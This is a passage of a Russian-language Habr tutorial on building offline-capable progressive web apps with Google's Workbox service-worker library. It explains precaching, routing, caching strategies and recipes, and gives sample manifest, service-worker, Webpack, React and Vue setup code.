При первом запуске приложения `workbox-precaching` "смотрит" на загружаемые ресурсы, удаляет дубликаты и регистрирует соответствующие события СВ для загрузки и хранения ресурсов. `URL`, которые содержат информацию о версии (версионную информацию) (например, хэш контента) используются в качестве ключей кэша без дополнительной модификации. К ключам кэша `URL`, которые не содержат такой информации, добавляется параметр строки запроса, представляющий хэш контента, генерируемый `WB` во время выполнения.
`workbox-precaching` делает все это при обработке события `install` СВ.
При повторном посещении приложения пользователем, при наличии нового СВ с другими предварительно кэшируемыми ресурсами `workbox-precaching` оценивает новый список и определяет, какие ресурсы являются новыми, а какие нуждаются в обновлении на основе версионной информации. Добавление новых ресурсов или обновление существующих выполняется при обработке следующего события `install`.
Новый СВ не будет использоваться для ответов на запросы до его активации. В событии `activate` `workbox-precaching` определяет кэшированные ресурсы, отсутствующие в новом списке `URL`, и удаляет их из кэша.
### Обработка предварительно кэшированных ответов
Вызов `precacheAndRoute()` или `addRoute()` создает маршрутизатор, который определяет совпадения запросов с предварительно кэшированными `URL`.
В этом маршрутизаторе используется стратегия "сначала кэш".
Порядок вызова названных методов имеет важное значение. Обычно, они вызываются в начале файла с кодом СВ, перед регистрацией и дополнительными маршрутизаторами, определяемыми с помощью `registerRoute()`. Если вызвать сначала `registerRoute()`, то любой маршрутизатор, совпавший с входящим запросом, независимо от стратегии, определенной в этом маршрутизаторе, будет использован для формирования ответа.
### Список предварительно кэшируемых ресурсов
`workbox-precaching` ожидает получения массива объектов со свойствами `url` и `revision`. Данный массив иногда называют "манифестом предварительного кэширования":
```
import { precacheAndRoute } from 'workbox-precaching'
precacheAndRoute([
{ url: '/index.html', revision: '383676' },
{ url: '/styles/app.0c9a31.css', revision: null },
{ url: '/scripts/app.0d5770.js', revision: null },
// другие записи
])
```
Свойства `revision` второго и третьего объектов имеют значения `null`. Это объясняется тем, что версионная информация этих объектов является частью значений их свойств `url`.
В отличие от `JavaScript` и `CSS` `URL`, указывающие на `HTML-файлы`, как правило, не включают в себя версионную информацию по той причине, что ссылки на такие файлы должны быть статическими.
Версионирование позволяет рассматриваемому модулю определять необходимость обновления кэшированного ресурса.
*Обратите внимание*: для генерации списка предварительно кэшируемых ресурсов следует использовать один из встроенных инструментов `WB`: `workbox-build`, `workbox-webpack-plugin` или `workbox-cli`. Создавать такой список вручную — очень плохая идея.
### Автоматическая обработка входящих запросов
При поиске совпадения входящего запроса с кэшированным ресурсом `workbox-precaching` автоматически выполняет некоторые манипуляции с `URL`.
Например, запрос к `/` оценивается как запрос к `index.html`.
**Игнорирование параметров строки запроса**
По умолчанию игнорируются параметры поиска, которые начинаются с `utm_` или точно совпадают с `fbclid`. Это означает, что запрос к `/about.html?utm_campaign=abcd` оценивается как запрос к `/about.html`.
Игнорируемые параметры указываются в настройке `ignoreURLParametersMatching`:
```
import { precacheAndRoute } from 'workbox-precaching'
precacheAndRoute(
[
{ url: '/index.html', revision: '383676' },
{ url: '/styles/app.0c9a31.css', revision: null },
{ url: '/scripts/app.0d5770.js', revision: null }
],
{
// Игнорируем все параметры
ignoreURLParametersMatching: [/.*/]
}
)
```
**Основной файл директории**
По умолчанию основным файлом директории считается `index.html`. Именно поэтому запросы к `/` оцениваются как запросы к `/index.html`. Это поведение можно изменить с помощью настройки `directoryIndex`:
```
import { precacheAndRoute } from 'workbox-precaching'
precacheAndRoute(
[
{ url: '/index.html', revision: '383676' },
{ url: '/styles/app.0c9a31.css', revision: null },
{ url: '/scripts/app.0d5770.js', revision: null },
],
{
directoryIndex: null
}
)
```
**"Чистые" URL**
По умолчанию к запросу добавляется расширение `.html`. Например, запрос к `/about` оценивается как `/about.html`. Это можно изменить с помощью настройки `cleanUrls`:
```
import { precacheAndRoute } from 'workbox-precaching'
precacheAndRoute([{ url: '/about.html', revision: 'b79cd4' }], {
cleanUrls: false
})
```
**Кастомные манипуляции**
Настройка `urlManipulation` позволяет кастомизировать логику определения совпадений. Эта функция должна возвращать массив возможных совпадений:
```
import { precacheAndRoute } from 'workbox-precaching'
precacheAndRoute(
[
{ url: '/index.html', revision: '383676' },
{ url: '/styles/app.0c9a31.css', revision: null },
{ url: '/scripts/app.0d5770.js', revision: null }
],
{
urlManipulation: ({ url }) => {
// Логика определения совпадений
return [alteredUrlOption1, alteredUrlOption2]
}
}
)
```
`workbox-routing`
-----------------
СВ может перехватывать сетевые запросы. Он может отвечать браузеру кэшированным контентом, контентом, полученным из сети, или контентом, генерируемым СВ.
`workbox-routing` — это модуль, позволяющий "связывать" поступающие запросы с функциями, формирующими на них ответы.
При отправке сетевого запроса возникает событие `fetch`, которое регистрирует СВ для формирования ответа на основе маршрутизаторов и обработчиков.
*Обратите внимание* на следующее:
* важно указывать метод запроса. По умолчанию перехватываются только `GET-запросы`
* маршрутизаторы должны регистрироваться в правильном порядке. При наличии нескольких "роутов" для одного запроса, сработает только первый из них
### Определение совпадений и обработка запросов
В `WB` "роут" — это две функции: функция "определения совпадения" и функция "обработки запроса".
`WB` предоставляет некоторые утилиты для помощи в реализации названных функций.
Функция определения совпадения принимает `ExtendableEvent`, `Request` и объект `URL`. Возврат истинного значения из этой функции означает совпадение. Например, вот пример определения совпадения с конкретным `URL`:
```
const matchCb = ({ url, request, event }) => {
return (url.pathname === '/special/url')
}
```
Функция обработки запроса принимает такие же параметры + аргумент `value`, который имеет значение, возвращаемое из первой функции:
```
const handlerCb = async ({ url, request, event, params }) => {
const response = await fetch(request)
const responseBody = await response.text()
return new Response(`${responseBody} `, {
headers: response.headers
})
}
```
Обработчик должен возвращать промис, разрешающийся `Response`.
Регистрация колбэков выглядит следующим образом:
```
import { registerRoute } from 'workbox-routing'
registerRoute(matchCb, handlerCb)
```
Единственным ограничением является то, что функция определения совпадения должна возвращать истинное значение синхронно. Это связано с тем, что `Router` должен синхронно обрабатывать событие `fetch` или передавать его другим обработчикам.
Как правило, в функции обработки запроса используется одна из встроенных стратегий, например:
```
import { registerRoute } from 'workbox-routing'
import { StaleWhileRevalidate } from 'workbox-strategies'
registerRoute(
matchCb,
new StaleWhileRevalidate()
)
```
### Определение совпадений с помощью регулярного выражения
Вместо функции определения совпадения, можно использовать регулярное выражение:
```
import { registerRoute } from 'workbox-routing'
registerRoute(
new RegExp('/styles/.*\\.css'),
handlerCb
)
```
Для запросов из одного источника данная "регулярка" будет регистрировать совпадения для следующих `URL`:
* <https://example.com/styles/main.css>
* <https://example.com/styles/nested/file.css>
* <https://example.com/nested/styles/directory.css>
Однако, в случае с запросами к другим источникам, регулярка *должна совпадать с началом `URL`*. Поэтому совпадение для следующих `URL` обнаружено не будет:
* <https://cdn.third-party-site.com/styles/main.css>
* <https://cdn.third-party-site.com/styles/nested/file.css>
* <https://cdn.third-party-site.com/nested/styles/directory.css>
Для решения этой проблемы можно использовать такое регулярное выражение:
```
new RegExp('https://cdn\\.third-party-site\\.com.*/styles/.*\\.css')
```
Для регистрации совпадений как с локальными, так и со сторонними `URL` можно использовать `wildcard`, но при этом следует проявлять особую осторожность.
### Роут для навигации
Если ваше приложение — это одностраничник, для обработки всех запросов, связанных с навигацией, можно использовать `NavigationRoute`.
```
import { createHandlerBoundToURL } from 'workbox-precaching'
import { NavigationRoute, registerRoute } from 'workbox-routing'
// Предположим, что страница `/app-shell.html` была предварительно кэширована
const handler = createHandlerBoundToURL('/app-shell.html')
const navigationRoute = new NavigationRoute(handler)
registerRoute(navigationRoute)
```
При посещении пользователем вашего сайта, запрос на получение страницы будет считаться навигационным, следовательно, ответом на него будет кэшированная страница `/app-shell.html`.
По умолчанию такой ответ будет формироваться для всех навигационных запросов. Это поведение можно изменить с помощью настроек `allowList` и `denyList`, определив набор `URL`, которые должны обрабатываться этим роутом.
```
import { createHandlerBoundToURL } from 'workbox-precaching'
import { NavigationRoute, registerRoute } from 'workbox-routing'
const handler = createHandlerBoundToURL('/app-shell.html')
const navigationRoute = new NavigationRoute(handler, {
allowlist: [
new RegExp('/blog/')
],
denylist: [
new RegExp('/blog/restricted/')
]
})
registerRoute(navigationRoute)
```
**Обратите внимание**, что `denyList` имеет приоритет перед `allowList`.
### Обработчик по умолчанию
```
import { setDefaultHandler } from 'workbox-routing'
setDefaultHandler(({ url, event, params }) => {
// ...
})
```
### Обработчик ошибок
```
import { setCatchHandler } from 'workbox-routing'
setCatchHandler(({ url, event, params }) => {
// ...
})
```
### Обработка `не-GET-запросов`
```
import { registerRoute } from 'workbox-routing'
registerRoute(
matchCb,
handlerCb,
// определяем метод
'POST'
)
registerRoute(
new RegExp('/api/.*\\.json'),
handlerCb,
// определяем метод
'POST'
)
```
`workbox-strategies`
--------------------
Стратегия кэширования — это паттерн, определяющий порядок формирования СВ ответа на запрос (после возникновения события `fetch`).
Вот какие стратегии предоставляет рассматриваемый модуль.
#### Stale-While-Revalidate
Данная стратегия возвращает ответ из кэша (при наличии ответа в кэше) или из сети (при отсутствии кэшированного ответа). Сетевой запрос используется для обновления кэша. Такой запрос выполняется независимо от возраста кэшированного ответа.
```
import { registerRoute } from 'workbox-routing'
import { StaleWhileRevalidate } from 'workbox-strategies'
registerRoute(
({url}) => url.pathname.startsWith('/images/avatars/'),
new StaleWhileRevalidate()
)
```
#### Cache-Fisrt
Данная стратегия отлично подходит для больших статических редко изменяемых ресурсов.
При наличии ответа в кэше, он просто возвращается, а сеть не используется совсем. Если ответа в кэше нет, выполняется сетевой запрос, ответ на который возвращается пользователю и кэшируется для следующего использования.
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
registerRoute(
({ request }) => request.destination === 'style',
new CacheFirst()
)
```
#### Network-First
Данная стратегия подходит для часто обновляемых запросов. Сначала выполняется сетевой запрос. Если запрос выполняется успешно, ответ на него возвращается пользователю и записывается в кэш. Если запрос проваливается, возвращается кэшированный ответ.
```
import { registerRoute } from 'workbox-routing'
import { NetworkFirst } from 'workbox-strategies'
registerRoute(
({ url }) => url.pathname.startsWith('/social-timeline/'),
new NetworkFirst()
)
```
#### Network-Only
```
import { registerRoute } from 'workbox-routing'
import { NetworkOnly } from 'workbox-strategies'
registerRoute(
({url}) => url.pathname.startsWith('/admin/'),
new NetworkOnly()
)
```
#### Cache-Only
```
import { registerRoute } from 'workbox-routing'
import { CacheOnly } from 'workbox-strategies'
registerRoute(
({ url }) => url.pathname.startsWith('/app/v2/'),
new CacheOnly()
)
```
### Настройка стратегии
Каждая стратегия позволяет кастомизировать:
* название кэша
* лимит записей в кэше и время их "жизни"
* плагины
**Название кэша**
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
registerRoute(
({ request }) => request.destination === 'image',
new CacheFirst({
cacheName: 'image-cache',
})
)
```
**Плагины**
В стратегии могут использоваться следующие плагины:
* `workbox-background-sync`
* `workbox-broadcast-update`
* `workbox-cacheable-response`
* `workbox-expiration`
* `workbox-range-requests`
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
import { ExpirationPlugin } from 'workbox-expiration'
registerRoute(
({ request }) => request.destination === 'image',
new CacheFirst({
cacheName: 'image-cache',
plugins: [
new ExpirationPlugin({
// Хранить ресурсы в течение недели
maxAgeSeconds: 7 * 24 * 60 * 60,
// Хранить до 10 ресурсов
maxEntries: 10
})
]
})
)
```
`WB` также позволяет создавать и использовать [собственные стратегии](https://developers.google.com/web/tools/workbox/modules/workbox-strategies#custom_strategies).
`workbox-recipies`
------------------
Некоторые паттерны, особенно касающиеся маршрутизации и кэширования, являются достаточно общими для возможности их стандартизации в виде переиспользуемых рецептов. `workbox-recipies` предоставляет набор таких рецептов.
### Рецепты
Каждый рецепт — это комбинация определенных модулей `WB`. Ниже приводятся рецепты и паттерны, которые они используют под капотом, на случай, если вы захотите кастомизировать тот или иной рецепт.
#### Резервный контент
Данный рецепт позволяет СВ возвращать резервную страницу, изображение или шрифт при возникновении ошибки при выполнении запроса на получения любого из указанных ресурсов.
По умолчанию резервная страница должна иметь название `offline.html`.
Резервный контент возвращается при совпадении с определенным запросом. При использовании рассматриваемого рецепта в отдельности, необходимо реализовать соответствующие роуты. Простейшим способом это сделать является использование метода `setDefaultHandler()` для создания роута, применяющего стратегию "только сеть" в отношении всех запросов.
**Рецепт**
```
import { offlineFallback } from 'workbox-recipes'
import { setDefaultHandler } from 'workbox-routing'
import { NetworkOnly } from 'workbox-strategies'
setDefaultHandler(
new NetworkOnly()
)
offlineFallback()
```
**Паттерн**
```
import { setCatchHandler, setDefaultHandler } from 'workbox-routing'
import { NetworkOnly } from 'workbox-strategies'
const pageFallback = 'offline.html'
const imageFallback = false
const fontFallback = false
setDefaultHandler(
new NetworkOnly()
)
self.addEventListener('install', event => {
const files = [pageFallback]
if (imageFallback) {
files.push(imageFallback)
}
if (fontFallback) {
files.push(fontFallback)
}
event.waitUntil(self.caches.open('workbox-offline-fallbacks').then(cache => cache.addAll(files)))
})
const handler = async (options) => {
const dest = options.request.destination
const cache = await self.caches.open('workbox-offline-fallbacks')
if (dest === 'document') {
return (await cache.match(pageFallback)) || Response.error()
}
if (dest === 'image' && imageFallback !== false) {
return (await cache.match(imageFallback)) || Response.error()
}
if (dest === 'font' && fontFallback !== false) {
return (await cache.match(fontFallback)) || Response.error()
}
return Response.error()
}
setCatchHandler(handler)
```
### Подготовка кэша
Данный рецепт позволяет записывать определенные `URL` в кэш во время установки СВ. Она может использоваться в качестве альтернативы предварительного кэширования в случае, когда нам заранее известен список `URL` для сохранения.
**Рецепт**
```
import { warmStrategyCache } from 'workbox-recipes'
import { CacheFirst } from 'workbox-strategies'
// Здесь может испоьзоваться любая стратегия
const strategy = new CacheFirst()
const urls = [
'/offline.html'
]
warmStrategyCache({urls, strategy})
```
**Паттерн**
```
import { CacheFirst } from 'workbox-strategies'
// Здесь может использоваться любая стратегия
const strategy = new CacheFirst()
const urls = [
'/offline.html',
]
self.addEventListener('install', event => {
// `handleAll` возвращает два промиса, второй промис разрешается после добавления всех элементов в кэш
const done = urls.map(path => strategy.handleAll({
event,
request: new Request(path),
})[1])
event.waitUntil(Promise.all(done))
})
```
### Кэширование страницы
Данный рецепт позволяет СВ отвечать на запрос на получение `HTML-страницы` с помощью стратегии "сначала сеть". При этом, СВ оптимизируется таким образом, что в случае отсутствия подключения к сети, возвращает ответ из кэша менее чем за 4 секунды. По умолчанию запрос к сети выполняется в течение 3 секунд. Настройка `warmCache` позволяет подготовить ("разогреть") кэш к использованию.
**Рецепт**
```
import { pageCache } from 'workbox-recipes'
pageCache()
```
**Паттерн**
```
import { registerRoute } from 'workbox-routing'
import { NetworkFirst } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
const cacheName = 'pages'
const matchCallback = ({ request }) => request.mode === 'navigate'
const networkTimeoutSeconds = 3
registerRoute(
matchCallback,
new NetworkFirst({
networkTimeoutSeconds,
cacheName,
plugins: [
new CacheableResponsePlugin({
statuses: [0, 200]
})
]
})
)
```
### Кэширование статических ресурсов
Данный рецепт позволяет СВ отвечать на запросы на получение статических ресурсов, таких как `JavaScript`, `CSS` и веб-воркеры с помощью стратегии "считается устаревшим после запроса" (ответ возвращается из кэша, после чего кэш обновляется). Поддерживается разогрев кэша (`warmCache`).
**Рецепт**
```
import { staticResourceCache } from 'workbox-recipes'
staticResourceCache()
```
**Паттерн**
```
import { registerRoute } from 'workbox-routing'
import { StaleWhileRevalidate } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
const cacheName = 'static-resources'
const matchCallback = ({ request }) =>
// CSS
request.destination === 'style' ||
// JavaScript
request.destination === 'script' ||
// веб-воркеры
request.destination === 'worker'
registerRoute(
matchCallback,
new StaleWhileRevalidate({
cacheName,
plugins: [
new CacheableResponsePlugin({
statuses: [0, 200]
})
]
})
)
```
### Кэширование изображений
Данный рецепт позволяет СВ отвечать на запросы на получение изображений с помощью стратегии "сначала кэш". По умолчанию кэшируется до 60 изображений в течение 30 дней. Поддерживается разогрев кэша.
**Рецепт**
```
import { imageCache } from 'workbox-recipes'
imageCache()
```
**Паттерн**
```
import { registerRoute } from 'workbox-routing'
import { CacheFirst } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
import { ExpirationPlugin } from 'workbox-expiration'
const cacheName = 'images'
const matchCallback = ({ request }) => request.destination === 'image'
const maxAgeSeconds = 30 * 24 * 60 * 60
const maxEntries = 60
registerRoute(
matchCallback,
new CacheFirst({
cacheName,
plugins: [
new CacheableResponsePlugin({
statuses: [0, 200]
}),
new ExpirationPlugin({
maxEntries,
maxAgeSeconds
})
]
})
)
```
### Кэширование гугл-шрифтов
Данный рецепт кэширует таблицу стилей для шрифтов с помощью стратегии "считается устаревшим после запроса" и сами шрифты с помощью стратегии "сначала кэш". По умолчанию кэшируется до 30 шрифтов в течение 1 года.
**Рецепт**
```
import { googleFontsCache } from 'workbox-recipes'
googleFontsCache()
```
**Паттерн**
```
import { registerRoute } from 'workbox-routing'
import { StaleWhileRevalidate } from 'workbox-strategies'
import { CacheFirst } from 'workbox-strategies'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'
import { ExpirationPlugin } from 'workbox-expiration'
const sheetCacheName = 'google-fonts-stylesheets'
const fontCacheName = 'google-fonts-webfonts'
const maxAgeSeconds = 60 * 60 * 24 * 365
const maxEntries = 30
registerRoute(
({ url }) => url.origin === 'https://fonts.googleapis.com',
new StaleWhileRevalidate({
cacheName: sheetCacheName
})
)
// Кэшируем до 30 шрифтов с помощью стратегии "сначала кэш" и храним кэш в течение 1 года
registerRoute(
({ url }) => url.origin === 'https://fonts.gstatic.com',
new CacheFirst({
cacheName: fontCacheName,
plugins: [
new CacheableResponsePlugin({
statuses: [0, 200],
}),
new ExpirationPlugin({
maxAgeSeconds,
maxEntries
})
]
})
)
```
### Быстрое использование
Комбинация рассмотренных рецептов позволяет создать СВ, который будет отвечать на навигационные запросы с помощью стратегии "сначала сеть", на запросы на получение статических ресурсов с помощью стратегии "считается устаревшим после запроса", на получение изображений с помощью стратегии "сначала кэш". Он также будет обрабатывать гугл-шрифты и предоставлять резервный контент в случае возникновения ошибки. Вот как это выглядит:
```
import {
pageCache,
imageCache,
staticResourceCache,
googleFontsCache,
offlineFallback
} from 'workbox-recipes'
pageCache()
googleFontsCache()
staticResourceCache()
imageCache()
offlineFallback()
```
`workbox-window`
----------------
Данный модуль выполняется в контексте `window`. Его основными задачами является следующее:
* упрощение процесса регистрации и обновления СВ в наиболее подходящие для этого моменты жизненного цикла СВ
* помощь в обнаружении наиболее распространенных ошибок, совершаемых разработчиками при работе с СВ
* облегчение коммуникации между кодом СВ и кодом, запускаемым в `window`
### Использование CDN
```
import { Workbox } from 'https://storage.googleapis.com/workbox-cdn/releases/6.1.5/workbox-window.prod.mjs'
if ('serviceWorker' in navigator) {
const wb = new Workbox('/sw.js')
wb.register()
}
```
### Использование сборщика модулей
**Установка**
```
yarn add workbox-window
# или
npm i workbox-window
```
**Использование**
```
import { Workbox } from 'workbox-window'
if ('serviceWorker' in navigator) {
const wb = new Workbox('/sw.js')
wb.register()
}
```
### Примеры
**Регистрация СВ и уведомление пользователя о его активации**
```
const wb = new Workbox('/sw.js')
wb.addEventListener('activated', (event) => {
// `event.isUpdate` будет иметь значение `true`, если другая версия СВ
// управляет страницей при регистрации данной версии
if (!event.isUpdate) {
console.log('СВ был активирован в первый раз!')
// Если СВ настроен для предварительного кэширования ресурсов,
// эти ресурсы могут быть получены здесь
}
})
// Региструем СВ после добавления обработчиков событий
wb.register()
```
**Уведомление пользователя о том, что СВ был установлен, но ожидает активации**
Когда на странице, управляемой СВ, региструется новый СВ, по умолчанию последний не будет активирован до тех пор, пока все клиенты, контрлируемые первым, не завершат свои сессии.
```
const wb = new Workbox('/sw.js')
wb.addEventListener('waiting', (event) => {
console.log(
`Новый СВ был установлен, но он не может быть активирован, пока все вкладки браузера не будут закрыты или перезагружены`
)
})
wb.register()
```
**Уведомление пользователя об обновлении кэша**
Модуль `workbox-broadcast-update` позволяет информировать пользователей об обновлении контента. Для получения этой информации в браузере используется событие `message` с типом `CACHE_UPDATED`:
```
const wb = new Workbox('/sw.js')
wb.addEventListener('message', (event) => {
if (event.data.type === 'CACHE_UPDATED') {
const { updatedURL } = event.data.payload
console.log(`Доступна новая версия ${updatedURL}!`)
}
})
wb.register()
```
**Отправка СВ списка URL для кэширования**
В некоторых приложениях имеет смысл кэшировать только те ресурсы, которые используются посещенной пользователем страницей. Модуль `workbox-routing` принимает список `URL` и кэширует их на основе правил, определенных в маршрутизаторе.
В приведенном ниже примере при каждой активации нового СВ в роутер отправляется список `URL` для кэширования. *Обратите внимание*, что мы можем отправлять все `URL`, поскольку будут кэшированы только те из них, которые совпадут с роутами.
```
const wb = new Workbox('/sw.js')
wb.addEventListener('activated', (event) => {
// Получаем `URL` текущей страницы + все загружаемые страницей ресурсы
const urlsToCache = [
location.href,
...performance
.getEntriesByType('resource')
.map((r) => r.name)
]
// Передаем этот список СВ
wb.messageSW({
type: 'CACHE_URLS',
payload: { urlsToCache }
})
})
wb.register()
```
Практика
--------
В этом разделе представлено несколько сниппетов, которые можно использовать в приложениях "как есть", а также краткий обзор готовых решений для разработки `PWA`, предоставляемых такими фреймворками для фронтенда, как `React` и `Vue`.
Для обеспечения работы приложения в режиме офлайн требуется не только СВ и его регистрация в основной файле приложения, но и так называемый "манифест".
О том, что такое манифест можно почитать [здесь](https://web.dev/add-manifest/), [здесь](https://developer.mozilla.org/ru/docs/Web/Manifest) и [здесь](https://www.w3.org/TR/appmanifest/).
Как правило, манифест (и СВ) размещаются на верхнем уровне (в корневой директории) проекта. Манифест может иметь расширение `.json` или `.webmanifest` (лучше использовать первый вариант).
**Манифест**
```
{
"name": "Название приложения",
"short_name": "Краткое название (будет указано под иконкой приложения при его установке)",
"scope": "/", // зона контроля СВ, разные страницы могут обслуживаться разными СВ
"start_url": ".", // начальный URL, как правило, директория, в которой находится index.html, в котором регистрируется СВ
"display": "standalone",
"orientation": "portrait",
"background_color": "#f0f0f0",
"theme_color": "#3c3c3c",
"description": "Описание приложения",
// этих иконок должно быть достаточно для большинства “девайсов”
"icons": [
{
"src": "./icons/64x64.png",
"sizes": "64x64",
"type": "image/png"
},
{
"src": "./icons/128x128.png",
"sizes": "128x128",
"type": "image/png"
},
{
"src": "./icons/256x256.png",
"sizes": "256x256",
"type": "image/png",
"purpose": "any maskable"
},
{
"src": "./icons/512x512.png",
"sizes": "512x512",
"type": "image/png"
}
],
"serviceworker": {
"src": "./service-worker.js" // ссылка на файл с кодом СВ
}
}
```
**Ручная реализация СВ, использующего стратегию "сначала кэш"**
```
// Название кэша
// используется для обновления кэша
// в данном случае, для этого достаточно изменить версию кэша - my-cache-v2
const CACHE_NAME = 'my-cache-v1'
// Критические для работы приложения ресурсы
const ASSETS_TO_CACHE = [
'./index.html',
'./offline.html',
'./style.css',
'./script.js'
]
// Предварительное кэширование ресурсов, выполняемое во время установки СВ
self.addEventListener('install', (e) => {
e.waitUntil(
caches
.open(CACHE_NAME)
.then((cache) => cache.addAll(ASSETS_TO_CACHE))
)
self.skipWaiting()
})
// Удаление старого кэша во время активации нового СВ
self.addEventListener('activate', (e) => {
e.waitUntil(
caches
.keys()
.then((keys) =>
Promise.all(
keys.map((key) => {
if (key !== CACHE_NAME) {
return caches.delete(key)
}
})
)
)
)
self.clients.claim()
})
// Обработка сетевых запросов
/*
1. Выполняется поиск совпадения
2. Если в кэше имеется ответ, он возвращается
3. Если ответа в кэше нет, выполняется сетевой запрос
4. Ответ на сетевой запрос кэшируется и возвращается
5. В кэш записываются только ответы на `GET-запросы`
6. При возникновении ошибки возвращается резервная страница
*/
self.addEventListener('fetch', (e) => {
e.respondWith(
caches
.match(e.request)
.then((response) =>
response || fetch(e.request)
.then((response) =>
caches.open(CACHE_NAME)
.then((cache) => {
if (e.request.method === 'GET') {
cache.put(e.request, response.clone())
}
return response
})
)
)
.catch(() => caches.match('./offline.html'))
)
})
```
**Конфигурация `Webpack`**
Пример настройки вебпака для производственной сборки прогрессивного веб-приложения.
Предположим, что в нашем проекте имеется 4 директории:
* `public` — директория со статическими ресурсами, включая `index.html`, `manifest.json` и `sw-reg.js`
* `src` — директория с кодом приложения
* `build` — директория для сборки
* `config` — директория с настройками, включая `.env`, `paths.js` и `webpack.config.js`
В файле `public/sw-reg.js` содержится код регистрации СВ:
```
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker
.register('./service-worker.js')
.then((reg) => {
console.log('СВ зарегистрирован: ', reg)
})
.catch((err) => {
console.error('Регистрация СВ провалилась: ', err)
})
})
}
```
В файле `config/paths.js` осуществляется экспорт путей к директориям с файлами приложения:
```
const path = require('path')
module.exports = {
public: path.resolve(__dirname, '../public'),
src: path.resolve(__dirname, '../src'),
build: path.resolve(__dirname, '../build')
}
```
Допустим, что в качестве фронтенд-фреймворка мы используем `React`, а также, что в проекте используется `TypeScript`. Тогда файл `webpack.config.js` будет выглядеть следующим образом:
```
const webpack = require('webpack')
// импортируем пути к директориям с файлами приложения
const paths = require('../paths')
// плагин для копирования статических ресурсов в директорию сборки
const CopyWebpackPlugin = require('copy-webpack-plugin')
// плагин для обработки `index.html` - вставки ссылок на стили и скрипты, добавления метаданных и т.д.
const HtmlWebpackPlugin = require('html-webpack-plugin')
// плагин для обеспечения прямого доступа к переменным среды окружения
const Dotenv = require('dotenv-webpack')
// плагин для минификации и удаления неиспользуемого CSS
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
// плагин для сжатия изображений
const ImageminPlugin = require('imagemin-webpack-plugin').default
// плагин для добавления блоков кода
const AddAssetHtmlPlugin = require('add-asset-html-webpack-plugin')
// Плагин для генерации СВ
const { GenerateSW } = require('workbox-webpack-plugin')
// настройки Babel
const babelLoader = {
loader: 'babel-loader',
options: {
presets: ['@babel/preset-env', '@babel/preset-react'],
plugins: [
'@babel/plugin-proposal-class-properties',
'@babel/plugin-syntax-dynamic-import',
'@babel/plugin-transform-runtime'
]
}
}
module.exports = {
// режим сборки
mode: 'production',
// входная точка
entry: {
index: {
import: `${paths.src}/index.js`,
dependOn: ['react', 'helpers']
},
react: ['react', 'react-dom'],
helpers: ['immer', 'nanoid']
},
// отключаем логгирование
devtool: false,
// результат сборки
output: {
// директория сборки
path: paths.build,
// название файла
filename: 'js/[name].[contenthash].bundle.js',
publicPath: './',
// очистка директории при каждой сборке
clean: true,
crossOriginLoading: 'anonymous',
module: true
},
resolve: {
alias: {
'@': `${paths.src}/components`
},
extensions: ['.mjs', '.js', '.jsx', '.ts', '.tsx', '.json']
},
experiments: {
topLevelAwait: true,
outputModule: true
},
module: {
rules: [
// JavaScript, React
{
test: /\.m?jsx?$/i,
exclude: /node_modules/,
use: babelLoader
},
// TypeScript
{
test: /.tsx?$/i,
exclude: /node_modules/,
use: [babelLoader, 'ts-loader']
},
// CSS, SASS
{
test: /\.(c|sa|sc)ss$/i,
use: [
'style-loader',
{
loader: 'css-loader',
options: { importLoaders: 1 }
},
'sass-loader'
]
},
// статические ресурсы - изображения и шрифты
{
test: /\.(jpe?g|png|gif|svg|eot|ttf|woff2?)$/i,
type: 'asset'
},
{
test: /\.(c|sa|sc)ss$/i,
use: [
MiniCssExtractPlugin.loader,
{
loader: 'css-loader',
options: { importLoaders: 1 }
},
'sass-loader'
]
}
]
},
plugins: [
new CopyWebpackPlugin({
patterns: [
{
from: `${paths.public}/assets`
}
]
}),
new HtmlWebpackPlugin({
template: `${paths.public}/index.html`
}),
// это позволяет импортировать реакт только один раз
new webpack.ProvidePlugin({
React: 'react'
}),
new Dotenv({
path: './config/.env'
}),
new MiniCssExtractPlugin({
filename: 'css/[name].[contenthash].css',
chunkFilename: '[id].css'
}),
new ImageminPlugin({
test: /\.(jpe?g|png|gif|svg)$/i
}),
// Добавляем код регистрации СВ в `index.html`
new AddAssetHtmlPlugin({ filepath: `${paths.public}/sw-reg.js` }),
// Генерируем СВ
new GenerateSW({
clientsClaim: true,
skipWaiting: true
})
],
optimization: {
runtimeChunk: 'single'
},
performance: {
hints: 'warning',
maxEntrypointSize: 512000,
maxAssetSize: 512000
}
}
```
Здесь вы найдете шпаргалку по настройке вебпака. Пример полной конфигурации вебпака для `JS/React/TS-проекта` можно посмотреть здесь.
**React PWA**
Для того, чтобы получить готовый шаблон `React-приложения` с возможностями `PWA`, достаточно выполнить команду:
```
yarn create react-app my-app --template pwa
# или
npx create-react-app ...
```
Или, если речь идет о `TypeScript-проекте`:
```
yarn create react-app my-app --template pwa-typescript
# или
npx create-react-app ...
```
Кроме прочего, в директории `src` создаются файлы `service-worker.ts` и `serviceWorkerRegister.ts` (последний импортируется в `index.tsx`), а в директории `public` — файл `manifest.json`.
Затем, перед сборкой проекта с помощью команды `yarn build` или `npm run build`, в файл `src/index.tsx` необходимо внести одно изменение:
```
// до
serviceWorkerRegistration.unregister();
// после
serviceWorkerRegistration.register();
```
Подробнее об этом можно прочитать [здесь](https://create-react-app.dev/docs/making-a-progressive-web-app/).
**Vue PWA**
С `Vue` дела обстоят еще проще.
Глобально устанавливаем `vue-cli`:
```
yarn global add @vue/cli
# или
npm i -g @vue/cli
```
Затем, при создании шаблона проекта с помощью команды `vue create my-app`, выбираем `Manually select features` и `Progressive Web App (PWA) Support`.
Кроме прочего, в директории `src` создается файл `registerServiceWorker.ts`, который импортируется в `main.ts`. Данный файл содержит ссылку на файл `service-worker.js`, который, как и `manifest.json`, автоматически создается при сборке проекта с помощью команды `yarn build` или `npm run build`. Разумеется, содержимое обоих файлов можно [кастомизировать](https://cli.vuejs.org/ru/core-plugins/pwa.html). | https://habr.com/ru/post/563724/ | null | ru | null |
# Реализация промо-предложений в iOS. Как зарабатывать на подписках больше?
